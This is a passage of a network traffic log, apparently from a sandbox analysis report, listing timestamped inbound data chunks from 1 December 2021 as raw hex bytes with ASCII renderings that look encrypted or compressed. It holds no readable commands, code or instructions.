60 0a 95 b3 66 b0 23 67 88 9b cd 5c 71 b7 42 16 3c 1b 5a 46 47 1c c8 64 10 7d Data Ascii: )msU'PPuFb@1TmKz+y ]PAL8WHsfGpo0X~w@NP'lm@E75mdS(to8\|`7$^Ci% NrMw~mXV\|9d\|lLm~=m4\|,*C(O~Si?q`f#g\qB<ZFGd}
2021-12-01 08:15:22 UTC	519	IN	Data Raw: 4e 94 9b 97 4e 9e 34 1c b6 c4 dd 28 a0 02 d2 08 9b c8 77 00 58 d5 ee dc 47 42 95 c4 cf ac 18 3b a1 cf 31 78 c4 f1 04 66 78 89 c1 af ff a6 1a c9 40 15 d5 1b 61 10 06 85 82 ae 16 66 16 3c 5e 5f 88 1a 19 f2 6f d5 68 1c ed 7a a0 79 87 20 80 d8 0b 44 c9 ef 40 c9 b5 da 54 48 e0 b1 fa d0 af 9d 6a 81 12 bf c9 b5 4d 96 af 37 91 c5 1d bb 50 08 e7 84 2b 8a e8 fa 40 7f 9e f8 08 a3 46 04 9d 2a 89 09 9b a4 1d 42 7e 55 81 67 eb ab fb b1 67 9c 41 d3 ad fa 3e 3b 96 42 f0 1d a7 8b a2 b6 e0 a6 26 05 d0 c9 6e 45 bc 6e 8a fc c2 e7 96 f2 3c 0b 89 e8 9e a5 6c fd ce 9b 12 74 f5 cc c0 f3 d4 18 e7 de c5 9a 31 b3 82 b2 32 06 5d 76 e4 e0 68 a8 1a 2f 2f 0d fb 1d 3d 08 8e 79 ae bb 1e eb d6 7f 95 08 f0 94 2b a6 9c ba 38 7e db 13 9c 92 93 5a 33 84 db fd 5d bf 16 05 37 63 cd 4a 7b 2e 19 Data Ascii: NN4(wXGB;1xfx@af<^_ohzy D@THjM7P+@F*B~UggA>;B&nEn<lt12]vh//=y+8~Z3]7cJ{.
2021-12-01 08:15:22 UTC	523	IN	Data Raw: da f7 8f 20 ed 84 bd d5 ef cd ea f8 db b0 81 a5 a9 49 9c 90 7a 37 87 31 e6 77 f3 04 3c 37 f3 3d ee 64 ef 87 cf 9f 37 98 70 06 16 d5 70 0a 49 20 27 49 dd 3c 13 53 e9 fd 68 55 fd dc 65 6b 4f 22 de 9e 0f 3b 28 48 cb 1d 96 21 a8 4e 8d 83 0a 0c ef 53 26 4d 94 02 3f 6e 05 ff c4 78 a8 5f 38 18 34 78 fd 15 16 9e e4 3f 7e eb fa 96 4b f9 c1 f4 32 a1 96 76 38 22 7a ab 96 bb f5 cb ce 0d 8e 58 ae 2b 71 a3 bd 50 5c 75 1d ec c0 6e 4d fe 11 3d 26 91 df a9 7b ba f3 49 d2 72 1f 91 69 6f f7 90 01 f1 55 bb d6 33 71 06 6a 66 3c 39 d3 81 f6 1c 46 93 9b 15 ff 63 7e c0 78 53 8f e9 54 e4 bc df 4f ea d3 a5 95 66 41 03 fa 65 44 c2 5c 09 01 bf b0 ff e3 22 5c 17 79 f6 2d f0 f7 2a 43 e0 92 e0 8f d7 49 55 68 12 81 83 35 d3 58 1c 83 2a 34 cb 98 0b 41 80 46 07 d0 8e e4 a9 c2 c8 22 b5 45 Data Ascii: Iz71w<7=d7ppI 'I<ShUekO";(H!NS&M?nx_84x?~K2v8"zX+qP\unM=&{IrioU3qjf<9Fc~xSTOfAeD\"\y-CIUh5X4AF"E
2021-12-01 08:15:22 UTC	527	IN	Data Raw: dd 0d e3 8c aa 50 24 23 b0 1b 64 71 95 92 2b 15 ef 4d 29 89 54 c9 47 c4 8a fd b2 ae c2 a2 c9 6a a1 06 3c ae e5 e0 d1 b9 65 a5 5e 9a b6 97 69 53 5c 32 1e 03 d4 04 64 a2 be 69 36 7c 46 ba 43 85 a6 43 a1 25 0d 29 c1 fb 0e 2f 24 bc dc da 29 fe c9 4c 9d 9c 51 75 1a 5a 7f 64 27 c1 c2 d3 7f c8 53 e4 c2 61 41 0c 78 7f aa 18 16 58 3c 20 e2 be 22 da 52 c7 f8 a2 60 9e 31 e8 08 a6 79 2a 87 3a a8 df 4e d7 85 2d 49 c4 17 75 f8 ac 4b 54 8a 84 e9 d0 69 9f 35 1c ba 23 8c c1 33 33 16 32 85 fd 54 3d 37 59 8b b3 b0 10 57 fe b1 18 0d 6b 6f 42 d3 46 3e de 99 98 fc 77 e6 5f 2f 4f f0 ab c7 db 9e 6e f6 e3 2e 70 fe 03 a9 4b 92 0c 22 09 29 3e d4 14 4a 7c 16 c9 0f d7 19 ac 5c 46 54 2e 9d 83 c4 f1 3d 98 67 81 35 66 2e b3 cf ef c4 28 0a db ac ec a2 e4 f0 f8 be 29 e8 0e 1b e7 12 a3 e3 Data Ascii: P$#dq+M)TGj<e^iS\2di6\|FCC%)/$)LQuZd'SaAxX< "R`1y*:N-IuKTi5#332T=7YWkoBF>w_/On.pK")>J\|\FT.=g5f.()
2021-12-01 08:15:22 UTC	532	IN	Data Raw: 24 f1 ba b0 ae fc fc b7 e4 61 15 25 91 c1 f2 c3 f6 d2 87 25 be 05 f5 d1 01 26 65 dd 80 3c 02 b7 7f f4 de e1 ff 22 dd 88 cf 54 1d f8 ab ca 95 d3 46 65 a6 04 fe 0a 88 0d a2 13 69 eb 53 db 5e e9 16 df b6 0b 42 01 55 86 67 e7 2a 21 5a e8 86 db b5 ca 49 50 62 79 e6 14 d3 41 1e b8 ff ea 86 fe 42 b2 2c 8a 1d 20 ff 8c b6 39 36 0a c3 a4 23 15 15 05 2f 5d 48 91 4e 4f db a4 1b 71 4f 8d 69 39 91 cf a3 30 96 92 93 f5 46 10 a9 10 15 ec dd 9e 0f 98 bb 12 03 09 fa b1 02 a7 0e 2a 29 1f 52 a6 01 d9 2e da dd 94 64 16 13 fd f8 00 94 64 93 25 91 dc 14 cd bf 04 ec 56 f5 30 f5 b0 60 b3 f4 12 75 ac 87 34 41 bc 89 2d 04 96 44 9a 52 cc f0 a6 25 a8 4e 5e e0 0f e1 52 88 d1 33 e9 c5 ae a8 1a 54 f4 eb 29 4c 8b 61 23 4d 6c 9c 7e f4 8d 87 96 87 ad 19 09 54 1f f1 04 fe c0 fa ef d0 d7 1e Data Ascii: $a%%&e<"TFeiS^BUg!ZIPbyAB, 96#/]HNOqOi90F)R.dd%V0`u4A-DR%N^R3T)La#Ml~T
2021-12-01 08:15:22 UTC	536	IN	Data Raw: 12 a1 fb e1 b3 c6 cf d1 a2 b7 f5 84 df 1a 76 5f 0c 06 ce 63 f6 da ab b1 f4 ee 79 09 ad ed 56 07 95 43 0b d4 3a 2f 0a 0f 21 08 97 d7 20 7f 66 ca e5 73 57 f1 59 9d 52 06 96 71 5a 42 52 fd e4 33 9d f3 8f 46 00 32 4b fe ee 6a 7c e0 9d 08 69 45 f0 64 92 a2 08 10 5b 23 00 05 c9 37 48 93 46 a2 01 ba 1e c1 c5 00 c4 d0 03 28 f7 e8 4f 92 76 f3 fc 61 c7 57 63 04 6b fb 90 b8 9b ca 5b 92 2a 76 2c 85 85 22 1c 09 65 6e dc f8 ec 9c 35 6c 19 c3 2b ee b0 da b4 ed 7f ec f9 09 fd 45 bd 54 57 77 62 18 ce 59 e8 a6 f2 db 03 bd a1 6d dd 03 7a af fe a7 cc 12 fe 68 63 65 05 b1 ea 47 a9 c3 90 10 56 de 1c 43 3d 0a 23 9b d7 a3 54 bb 4c 75 5b 41 d0 46 39 b3 96 e3 82 73 f9 56 a1 b5 fa af e6 60 98 90 ee d1 bf a8 8c 3a b6 61 4f 1f b9 00 0f 4e de 29 68 b4 d4 a2 cd 9e ea 54 b1 48 38 08 44 Data Ascii: v_cyVC:/! fsWYRqZBR3F2Kj\|iEd[#7HF(OvaWck[*v,"en5l+ETWwbYmzhceGVC=#TLu[AF9sV`:aON)hTH8D
2021-12-01 08:15:22 UTC	540	IN	Data Raw: dc f2 d0 4b 9c 4f 79 c2 94 71 e7 2a ec a1 1a 3c 05 e0 f9 d5 bf 3a d4 81 6a 09 13 43 6a c0 83 80 b5 6b 16 29 67 2b bf bb 2a ff 13 bd 58 f8 ff 5d a2 f1 e3 ba 9b 42 68 a6 69 4a 74 e9 5e d9 ee 80 ad 47 49 71 22 a3 ba d9 21 e0 cc 70 4b 2e 70 d8 a6 5d bd 7b a0 3d c5 f6 9e 07 19 e8 84 67 83 48 d8 c4 b2 11 76 3f 14 66 37 d6 6b af 18 44 4f 4a ba 46 5a a5 5d 14 6e 7e 2c 0d 39 2e 0a 04 ce bb db 5d ea e0 5d 30 f1 35 39 27 72 bb b9 09 e8 c5 97 a1 e7 aa 1f dd 68 c0 5e f6 66 7f af ec be 2e 41 c4 37 14 37 93 59 68 03 79 65 7c f6 df bd 43 d8 fa b3 fc ba 22 03 d6 39 b1 7f fb 22 ae df 62 7a a8 45 b5 55 da 0a 3c 5e 53 14 cc ae fd e8 bd 21 48 26 87 1c fe 7d a3 55 44 5d 03 3b b3 d1 48 4c 0c db d0 5d 2c 64 80 03 83 df 34 5e 79 67 c8 df 5d 03 a3 f3 be a8 6b 8a f8 25 29 13 2d 9c Data Ascii: KOyq<:jCjk)g+X]BhiJt^GIq"!pK.p]{=gHv?f7kDOJFZ]n~,9.]]059'rh^f.A77Yhye\|C"9"bzEU<^S!H&}UD];HL],d4^yg]k%)-
2021-12-01 08:15:22 UTC	544	IN	Data Raw: 00 66 34 03 58 64 ce 8b e2 4d d9 1d 1d 8f 0e 8e 61 1e 59 7b 87 5d fd 97 9e 0e 38 57 ad 5b 1c 9e 2f 97 62 c0 10 a8 41 87 c1 5c 78 e3 18 d9 fd 33 a9 9c 04 82 f6 e6 f1 98 d0 4c c4 e2 39 e3 b0 85 48 7b d3 71 32 84 a3 20 7a 72 92 5d ad 1d 33 40 20 6a 7d 3a 18 f5 6f 41 87 6e 3f 56 9b fa 82 d1 6d d1 4b 5e 28 07 ad 88 ff 6c 17 0d 28 4e 76 6c 46 15 ff 91 28 a8 5f ab 16 23 d2 37 52 c3 16 0c 70 5a df 4d 52 9a 69 11 3b 87 bc 9d b9 20 3d 18 77 31 ed b9 4c f9 a0 7c 09 6a db ff 23 ba 9c af 62 dd 2f 7c c3 7f 67 af 06 c6 cd 21 20 15 5f fa 39 38 8f 47 4f 5c fd 69 46 cf 61 bb 0c c1 3b 21 4a b4 e3 1c 76 7c c9 2a 79 d0 a9 c4 6e b1 50 10 40 a1 d3 fe d5 bf 2a 15 b2 27 ae 61 a7 1d 88 a8 cc 22 cb b8 ba 70 01 f4 c5 9d e5 59 2b aa c6 30 59 38 f9 60 c7 51 1f 9c 1d 39 1f 11 14 69 bf Data Ascii: f4XdMaY{]8W[/bA\x3L9H{q2 zr]3@ j}:oAn?VmK^(l(NvlF(_#7RpZMRi; =w1L\|j#b/\|g! _98GO\iFa;!Jv\|ynP@'a"pY+0Y8`Q9i
2021-12-01 08:15:22 UTC	548	IN	Data Raw: e3 e3 04 0a 97 68 aa 4c 07 ba e2 5b e1 66 a1 44 7f ac c5 33 c8 5b 30 e6 84 b2 02 e3 4f 2d 0a 4c 1f 25 6c 0d 51 33 37 0f fa bd ad b1 c8 bd 03 e9 7b 37 f5 a4 27 07 d2 49 6d d5 e3 24 42 54 15 22 af 9b b2 bc 7f c6 23 39 31 2d 3c dc 93 5c 37 cd d8 cd 00 e2 f1 61 09 d0 75 4d f4 b0 d8 b7 c4 23 0d 01 3c ee 5d 9c e9 cd 24 2a 0d 21 ab 03 bd df c3 3a c8 55 00 8d 5c 35 02 35 8d 80 f7 e4 92 4b a8 d9 b0 e0 26 9d c2 ef 1e 26 a9 b5 65 2f 4c 0e 68 3b 87 c0 f7 8e ee a4 4b c4 58 96 42 23 6c ef a4 f8 14 c8 64 6e bf 34 fd 3f a6 90 b9 28 61 b4 19 61 f8 f4 01 be e1 3b 07 2f a6 32 53 99 31 fc 9a c5 d1 83 07 45 ec 4d b8 ef 97 51 b0 51 e5 48 ce af 05 19 e2 0d 47 5a a5 b2 22 41 39 35 d3 0c 8d 0f fe c0 c6 01 0c e5 49 3c 8d 51 69 0b 9f 69 7d df dd 9b e2 f7 91 18 51 9a 81 91 43 97 27 Data Ascii: hL[fD3[0O-L%lQ37{7'Im$BT"#91-<\7auM#<]$*!:U\55K&&e/Lh;KXB#ldn4?(aa;/2S1EMQQHGZ"A95I<Qii}QC'
2021-12-01 08:15:22 UTC	551	IN	Data Raw: 8b 18 62 b5 44 71 20 00 f3 d9 db c3 17 27 39 8f e3 3e 9f fb 39 9f cf d4 87 d9 ec f9 11 3e a8 c6 e6 ca 2a f0 89 cd a7 f2 fc e0 fe ce 6c f8 7a 70 e7 dd 0c 3d 08 08 a6 79 86 5f 8f 45 ec 22 42 e0 29 a0 54 bd 70 40 d6 0b 2c b2 57 65 5e 1c ca dd 57 96 c1 bc 63 2e 46 1d ca 5a b4 29 f6 1e fe df 60 0a 27 68 1d d2 dc 9f c4 5e ce 86 77 11 d1 8d 0b c9 14 ce ba b1 9a 1d 6b 49 82 11 d9 f8 d1 8d a8 41 ba 43 9a f3 14 5f f0 5d 0b 3a e1 b2 85 7b 46 ff 0e 93 c8 31 9d 37 06 8b 81 f6 78 46 75 0e f6 ee ed 86 82 7b 61 6d 01 95 95 32 8c 08 ad 57 60 63 3f f6 c0 13 1a 51 6b 36 52 66 f3 71 3c 4e 54 ba 82 77 95 55 81 16 6b ff 50 9f ef 85 51 5c 6b 70 d3 75 f4 2b fe f2 f0 44 19 18 a0 0f a3 c5 53 e9 cd 14 2d ae cf 75 b3 1c 74 e9 84 5b 62 5b 93 7e d0 79 f9 ae 36 1a 01 23 e5 40 b0 09 b9 Data Ascii: bDq '9>9>*lzp=y_E"B)Tp@,We^Wc.FZ)`'h^wkIAC_]:{F17xFu{am2W`c?Qk6Rfq<NTwUkPQ\kpu+DS-ut[b[~y6#@
2021-12-01 08:15:22 UTC	555	IN	Data Raw: 60 24 5b 44 2c 1b eb 47 51 9b 1a d9 cd 20 d4 5f 49 2d 5b d0 66 bb c5 cc 2a c1 43 62 09 8a a6 70 96 4c 18 25 81 19 c3 e0 4f f2 77 da 22 a9 65 ef 4a bb f8 78 d6 eb 5c bc bd d4 ed ce 99 68 29 65 29 6f 3b 28 e1 9f 61 fa dc 7e 59 cc c4 a2 35 8c f6 1e 5a be be 64 12 73 9c ea fd 41 53 ad 24 00 91 40 bb 21 d3 b6 27 a9 7b da 4f 23 00 90 ae fc 5e 90 39 79 27 cc f1 32 9b bc 52 d9 6f 28 87 39 df 2e e5 bd e8 75 bc a0 5a eb 01 d7 71 4f 33 52 05 a1 0d a8 ed 45 40 1a 6f 39 7a f7 ea ce ac 63 5b 5d d9 eb 0b 67 24 3c 8e 7b 40 a9 20 59 1f bb 14 58 a3 57 d0 2e a0 fc 44 d2 7d a5 54 d0 35 38 c6 96 62 2f 31 ff f4 29 1c f1 57 e9 b5 69 e4 cb 50 61 28 3d 7a b7 5d 6d ac ad b9 8e 0e 9d aa e5 4d 74 37 de c0 1c e3 18 09 29 00 4c bc 6c ae 69 9b 6f c2 bb 7e 89 0c e1 65 2c 1d 7e 19 1e 1a Data Ascii: `$[D,GQ _I-[f*CbpL%Ow"eJx\h)e)o;(a~Y5ZdsAS$@!'{O#^9y'2Ro(9.uZqO3RE@o9zc[]g$<{@ YXW.D}T58b/1)WiPa(=z]mMt7)Llio~e,~
2021-12-01 08:15:22 UTC	559	IN	Data Raw: 60 1d 05 ed f2 13 56 3a c4 3b e3 2e ca e8 0f 13 28 e4 4a 29 c0 4c 9b fc 3b 22 9c 5d 66 a2 8b 63 0c 16 25 fe dc 66 2b 74 40 6a 76 bf 03 84 c1 81 dd 35 a9 30 a6 d3 be f9 b8 1c af 17 30 3f 1c af 62 f0 e1 c9 50 ca 57 43 6a 64 75 3a 17 58 5c dd 9e b2 b1 43 41 00 90 42 e2 9e d2 01 85 25 d0 aa fd 3b 69 80 12 83 ee 61 2d dd c8 e0 5b 7c 98 c9 e0 d4 ea b0 41 ae ec 46 45 d2 f7 66 50 26 40 05 02 3f a0 6b b0 66 c3 a0 3a 1b 27 1d 75 43 8c 46 dc 39 bb 8f 6a 78 ef be 45 2e 19 7b 43 21 18 bf 1f 83 7b c8 e1 1d 28 e6 e7 e4 0f c2 37 ee e2 d0 eb 2d ca 08 06 38 aa 39 24 21 af 03 4a 15 36 d8 25 ae c4 8e 79 55 0e 0e f8 64 62 95 d4 ff b2 73 45 70 bb dc fe f7 5d d1 97 c0 3d 86 af 6f 4c c2 3b 4d de e5 19 45 70 c4 25 a1 73 7e 15 a2 5b ce 52 a2 e8 b8 20 7c 14 47 ed 49 83 f5 49 14 32 Data Ascii: `V:;.(J)L;"]fc%f+t@jv500?bPWCjdu:X\CAB%;ia-[\|AFEfP&@?kf:'uCF9jxE.{C!{(7-89$!J6%yUdbsEp]=oL;MEp%s~[R \|GII2
2021-12-01 08:15:22 UTC	564	IN	Data Raw: 8f 72 10 d5 bd c9 96 9d 2e fb 8f 37 31 1c 25 84 58 11 23 a5 e3 35 2a f8 38 7a 92 92 82 0f 7e bf 7b ba 3d ad 3f bf 46 6c 19 69 4a cd a0 fd 4b 65 53 b8 38 49 13 1f 64 81 b6 87 47 7d 2b 8f 49 e4 a2 90 f0 db 96 a6 bf f3 f6 73 ff 5b ef 6a f1 2d e4 cb 23 ac 44 d6 18 ad ed 92 c5 a0 0e 35 ff ca b2 20 d5 dc ad e5 82 a7 b0 45 fc dc 97 ce c3 30 59 d8 4b 0e 18 b4 61 ad 6d 70 83 9e d7 c0 dc f9 46 b2 e6 1b 71 a3 c0 3f ce b8 1b ae 00 a2 df ac 75 40 63 29 5b 59 52 e5 8b 9b 59 8d 51 4e 9e 5f 28 c3 8d 47 d6 a1 6d bc 09 06 be 9f 51 ef 4b 3b a4 b0 b0 49 26 4b 76 70 c8 38 e1 2e d7 d2 d0 41 40 96 05 f0 46 1c b0 19 56 b7 9f 31 1b cb 27 a2 d1 51 e6 5f e6 4b 6b 17 e7 8d 4f d8 2f 67 28 96 b8 9e da 67 7c 74 76 aa fc a3 2c 62 52 a1 27 cc 30 63 85 03 63 43 d4 db 7c e5 cd 2d fb 70 df Data Ascii: r.71%X#5*8z~{=?FliJKeS8IdG}+Is[j-#D5 E0YKampFq?u@c)[YRYQN_(GmQK;I&Kvp8.A@FV1'Q_KkO/g(g\|tv,bR'0ccC\|-p
2021-12-01 08:15:22 UTC	568	IN	Data Raw: 3d a2 48 8a 0e 3f 42 98 5a aa 84 3f 80 c1 1c 2e 60 8a 9d 6b 7e e4 40 27 fc 5c 08 0e cb 68 79 e3 6d 92 07 4f fa 6d 0f fe 73 16 e4 0c 58 7e 65 da 29 05 ad 43 d5 85 25 27 29 17 8b d4 28 f1 fa 7f 56 af 19 2f e7 54 9a b0 7d c8 a6 bc c7 2d 48 a9 fb 59 ec d7 99 38 a8 8e 0e 0f 98 9a 83 d7 b1 cc 73 78 6a 7e 5f ee 76 ba fc ba ed f0 fb 80 6c 40 ad 19 7c 5d df 40 4f 63 4c bd 28 19 be fb a0 bb 9c 7b e5 21 b9 a9 1b 70 85 3d c9 c5 8d 34 d8 cd 66 de 6e 12 c8 4c 7a dc 3b 77 f3 34 c5 f0 59 12 60 51 c1 33 17 38 4e bc 80 c9 3f 8f 60 0d 7f b5 dc ed a6 98 04 23 7a 41 b4 1a 3a a9 65 13 bf de f0 46 a3 74 3b b0 5c 97 1e 37 f5 ef c5 89 b1 e9 57 1a 77 f5 57 92 f6 13 83 95 4a ae 3b 39 1d 36 96 ac cb 6e 8f 59 1a 26 fa dd 5e ff e8 a1 0f 3e f0 9f 33 d2 65 1d 78 5a c4 3f 66 25 ca 11 9d Data Ascii: =H?BZ?.`k~@'\hymOmsX~e)C%')(V/T}-HY8sxj~_vl@\|]@OcL({!p=4fnLz;w4Y`Q38N?`#zA:eFt;\7WwWJ;96nY&^>3exZ?f%
2021-12-01 08:15:22 UTC	572	IN	Data Raw: 75 21 cc 86 06 c1 a7 e2 ec 10 b8 79 1a c6 0a 49 bb 21 a1 c3 82 1b a4 3e fc 46 81 85 06 07 6d 40 58 fd ef 57 4b 38 26 32 ba 76 f7 40 84 62 2a c9 fc 39 77 e2 80 a5 98 b0 d6 d7 ae 75 63 cb 1a b5 58 a4 d2 3c ae a8 2b 09 a1 b7 d4 1d 7a c0 f4 31 83 50 bf 48 8f 28 40 6a c4 5d 48 55 0c 56 16 ab 26 6c 86 d2 d3 b8 28 99 2b e0 1f 6a 7b 8b 17 36 4c 9e 17 97 ae 04 2b ba 82 16 ce f0 5b 2a e6 a2 c0 00 0f b4 17 a3 d6 1f a5 d8 27 4d fe d9 c6 f8 11 72 39 b4 18 8c a0 20 55 29 ef 30 90 7a 8e fd 3a 96 24 4f 6f 35 13 eb 00 b3 cf 76 eb b1 65 f0 e7 5b a5 f3 5f 4c c9 9f 1c b6 19 3c ac 69 41 d2 52 fb 40 46 61 41 79 5e 6e 12 14 14 f4 c4 37 2b 30 27 14 87 15 3c 4d 8c 3c d9 e7 13 e6 d2 ae 8e de c6 dd 79 af 62 4c de a6 fb 6a bb 9c 70 c2 a9 a6 f8 7d 6c b5 a4 cc 3f 06 c0 a0 09 ba d0 07 Data Ascii: u!yI!>Fm@XWK8&2v@b9wucX<+z1PH(@j]HUV&l(+j{6L+['Mr9 U)0z:$Oo5ve[_L<iAR@FaAy^n7+0'<M<ybLjp}l?
2021-12-01 08:15:22 UTC	576	IN	Data Raw: c8 59 b4 7a 17 8d 62 ed 2a 43 15 ed 76 80 f2 43 ce 1e 68 e7 1b a7 07 a1 9b 8a c6 e5 34 4f ed db df 8b fb 1f 05 79 fb 3c 3f f2 94 99 07 4c 90 35 39 8f a8 b4 b3 eb c4 65 79 43 23 20 ae ec cc 6e cb bb 51 5a 8d 91 6b 77 4e 0e 94 7a e4 1d 40 15 e3 3f 1c d6 6c a6 00 62 ea b6 76 20 4d 40 82 bb 52 3b 4a 32 2b 7c 64 b9 a6 87 60 df c0 b6 ae 8a 71 48 f5 84 9f 2a ad cc 7b d3 4f 60 d6 6f 20 74 4a a7 c2 2a e0 70 32 64 5c ef 3f c8 1b 3a 48 90 d0 4f de 4d 25 8e c7 20 fc fb 6b 7e 41 53 a9 4f 03 01 7a 4f b6 29 1d db 30 67 13 68 ea 65 2f f3 54 8c 90 2e 61 2f 39 60 27 09 b6 aa 3e 30 86 03 04 b3 03 1c 4f af 6e 0e a4 d5 b3 92 76 2e 7e d5 71 3b 8d c2 4b ec f0 f2 8f 6e 62 75 db 3e 26 33 84 61 eb a2 5c 87 bf 1b 42 b9 0a 26 30 21 63 70 af 02 2e e1 10 c6 0e fe 78 27 4f 01 6c 3b 6a Data Ascii: YzbCvCh4Oy<?L59eyC# nQZkwNz@?lbv M@R;J2+\|d`qH{O`o tJ*p2d\?:HOM% k~ASOzO)0ghe/T.a/9`'>0Onv.~q;Knbu>&3a\B&0!cp.x'Ol;j
2021-12-01 08:15:22 UTC	580	IN	Data Raw: d9 58 dc 7e 9f 15 6b 2f e1 3e e4 d0 f8 21 ed 74 f7 7f 6e c5 98 2f ff 38 1b 7b 4d e8 ba 7f fa 51 02 94 a1 49 14 8a 5f ed 95 b4 b0 5b af de 56 0f 1b 6d ac 50 c5 52 06 94 36 60 28 ae ac a4 32 5a a7 26 07 95 ff c0 d8 2a f2 01 01 5d 92 b4 5b 9f 37 2d a6 fb 5a b5 cf 90 91 43 7c 42 f8 53 8f 8e 45 f5 bb 5d 56 42 8e 86 55 e8 d2 07 3c 78 4d 8d d0 46 67 06 fd c5 40 61 96 b7 7c 39 c4 af 56 0b 06 3b 1f 33 50 c6 5e e7 df 64 3c a4 b6 11 9e 11 4a a6 db 28 39 3c 18 7e 61 74 da 00 c0 7e e0 fe 93 58 f7 44 db a1 86 80 81 0f ba f6 46 b8 5b f6 4a e1 0f 4f 9d b7 a9 f6 fc fc fb 4d 80 e5 62 28 28 e4 99 9c ce 38 31 f1 43 5b a2 cd d8 7e 26 37 a7 db 01 41 23 3e 02 40 b0 47 96 18 24 e3 24 6d 7b ad c6 a8 14 ff 89 4a 47 45 8b 33 ec 20 28 81 b3 d6 ab da c7 be dc c9 b5 74 a4 af 56 cf b2 Data Ascii: X~k/>!tn/8{MQI_[VmPR6`(2Z&*][7-ZC\|BSE]VBU<xMFg@a\|9V;3P^d<J(9<~at~XDF[JOMb((81C[~&7A#>@G$$m{JGE3 (tV
2021-12-01 08:15:22 UTC	582	IN	Data Raw: ab 33 3f ca aa af b4 48 0e 2e 51 a8 78 7b 2a 13 ad 36 54 7f e1 91 7f a8 54 4a 53 b6 69 a0 05 1e 45 c4 b4 a1 3e b7 f2 09 b1 b0 1e f6 76 22 08 fb 74 2a 5e c3 e7 e7 86 c8 59 e8 5c bc 56 0b 32 7c 9e 80 63 8b 61 e6 a3 b3 8d b9 85 8e 9d 7b 11 2d 33 47 ae fc 79 c2 1c e4 e8 49 ba 48 eb fc 6c 02 60 cb 2e 95 ac 04 57 be 41 1d 57 f3 66 4b 17 06 ae 93 57 a1 f4 63 fa 64 73 1b 01 17 df f1 2b 23 5f 67 2f aa ee e9 bf 7f 14 39 ec 0a eb b2 1a 43 80 e1 a7 af cb 7e 9b 56 bb bb 1a c5 49 46 9e c8 41 81 4e 4f 86 b5 22 42 7d 9b b1 e0 16 e1 f9 b9 31 1b 79 59 b6 a0 7a 4e 7f 78 ca c9 24 2e 33 66 ad ed 1c ba 8e 93 7a 98 e5 6f b6 71 c4 f7 6c 0b 0b 73 62 31 91 a2 dc f1 d9 9f b4 a9 49 0c e2 a5 49 f9 39 29 db dd 16 eb 92 28 0e 3a 31 06 4c 8b ec a5 0e 10 fa d0 5e 5c b6 1c 0b b2 d2 5a c0 Data Ascii: 3?H.Qx{6TTJSiE>v"t^Y\V2\|ca{-3GyIHl`.WAWfKWcds+#_g/9C~VIFANO"B}1yYzNx$.3fzoqlsb1II9)(:1L^\Z
2021-12-01 08:15:22 UTC	586	IN	Data Raw: 47 45 b3 25 06 7c 9c 51 22 12 4a 00 01 1e a8 14 d1 42 34 c1 97 0d 26 d5 c0 06 d1 88 23 50 15 6b b4 bb 3f fe ca 9b c5 82 d0 f8 b4 46 28 1a 82 53 8a 89 fb 69 b3 5e a2 c9 82 85 76 f2 b5 7e 1f 7e ac bf dc 47 94 5f cc ba 08 ab 0d 19 f7 39 2a 51 8c 45 02 a9 16 7c 8a ee eb f6 9a 80 95 9d ac ed b4 73 45 45 43 ad 18 98 0f 78 a5 e8 c0 4c 31 a7 80 e4 34 4f 41 77 d7 c4 62 b0 87 15 da 0c 57 75 fe f1 ae 48 a9 dd 9c 71 2c 9b 48 06 1b 2a e6 62 b0 8e a3 16 07 aa a2 34 06 8e a7 e7 d0 e6 fb 6f d3 91 4f 21 92 fa 12 aa 39 14 60 65 76 40 b1 f3 de 14 7b d2 ce 1e 80 cf 17 c0 c8 b4 b3 d2 fb fa d2 95 a5 8f b7 d2 fd d5 9c d8 40 db ac 43 8e a7 af be 8d 65 b9 fd 97 81 47 5e 42 01 5f 67 57 f1 23 7d 94 d7 ef 6f 72 ac ee a5 4c 04 82 32 13 c5 69 90 cd 1c 7e 14 be b9 86 dc db b2 22 60 57 Data Ascii: GE%\|Q"JB4&#Pk?F(Si^v~~G_9QE\|sEECxL14OAwbWuHq,Hb4oO!9`ev@{@CeG^B_gW#}orL2i~"`W
2021-12-01 08:15:22 UTC	590	IN	Data Raw: 86 43 3b a5 d5 02 29 4b 04 44 07 72 0e 42 c9 12 05 9b 65 84 fd 97 59 20 a5 39 95 4e 85 aa dc 6f ea b9 85 1a d2 54 53 df 2b ce 00 1a 1e 01 b9 47 9b 22 de ee fb 32 5e de 51 c2 8d 10 bf e7 34 21 05 04 c1 a6 e5 d3 ef 38 b3 fd 38 6f 3d 00 02 39 81 94 9d 40 10 c3 48 24 6b 29 92 01 55 61 f0 57 f8 7b 3c ea d9 93 53 f5 16 6d 4d ed 41 ca 03 0d 5e 46 e9 2d 03 a7 7b 54 b4 56 81 0e 1f 64 a6 1d 09 27 3b b2 18 45 1b 3b 9d 2a 24 5a 41 e0 0b ab 79 0f f9 62 a3 62 4b f4 94 39 3f 01 24 53 54 f3 38 03 8b d1 1d 1b 3d 80 a2 66 43 bb b8 af a0 75 c3 68 80 d7 f4 8a 5b 6b 59 6f a6 2c 4f c2 38 2f 24 52 db e1 37 d9 65 8f 8d 0c 6c d4 76 39 d7 5a 5a 60 55 8d ad ae 72 46 9c dc ed 2a c8 fa 10 ba d6 b8 1d 6e 57 74 b8 d3 8c 41 8a 1d b8 b1 aa 31 28 22 a0 45 54 c1 b0 73 e2 60 64 f6 54 1f 5c Data Ascii: C;)KDrBeY 9NoTS+G"2^Q4!88o=9@H$k)UaW{<SmMA^F-{TVd';E;$ZAybbK9?$ST8=fCuh[kYo,O8/$R7elv9ZZ`UrFnWtA1("ETs`dT\
2021-12-01 08:15:22 UTC	594	IN	Data Raw: ad 32 6d d3 5b 5e 0e 3b 41 0c 45 8f dd 7d e0 9d 0a d2 c6 ce d9 4c 16 0d d4 5d d0 28 77 bf 95 34 79 39 9e 7c de 2c a5 80 94 3f 8c ab 97 69 5f 18 32 ec 72 4f 7c 27 12 2e b4 ca d9 16 bf eb ae 6b 03 43 9f 1d 9d 58 04 ae 1e c0 ec ab 8d af ec cf 72 51 63 2d af e4 01 c9 c6 ed e7 83 23 9e 8b ed fe f3 06 9b 0c 15 99 31 d5 a2 24 6b c2 2f 94 66 69 40 95 6b ec d2 a5 92 1b f2 a5 f6 95 80 89 1a de bd 10 d9 c8 0f 3b b2 5d b1 17 38 d1 c4 93 10 02 6f 3f 40 e1 56 ec f0 f5 4b 62 ed 45 a4 72 26 c2 b8 e2 1c a5 e5 9e 69 56 8f 3a 12 61 b1 46 eb 7f 87 59 ff f4 85 48 b3 38 0a 85 0e f3 ac 26 b9 74 40 71 cc 27 c5 7e 8e 2c 73 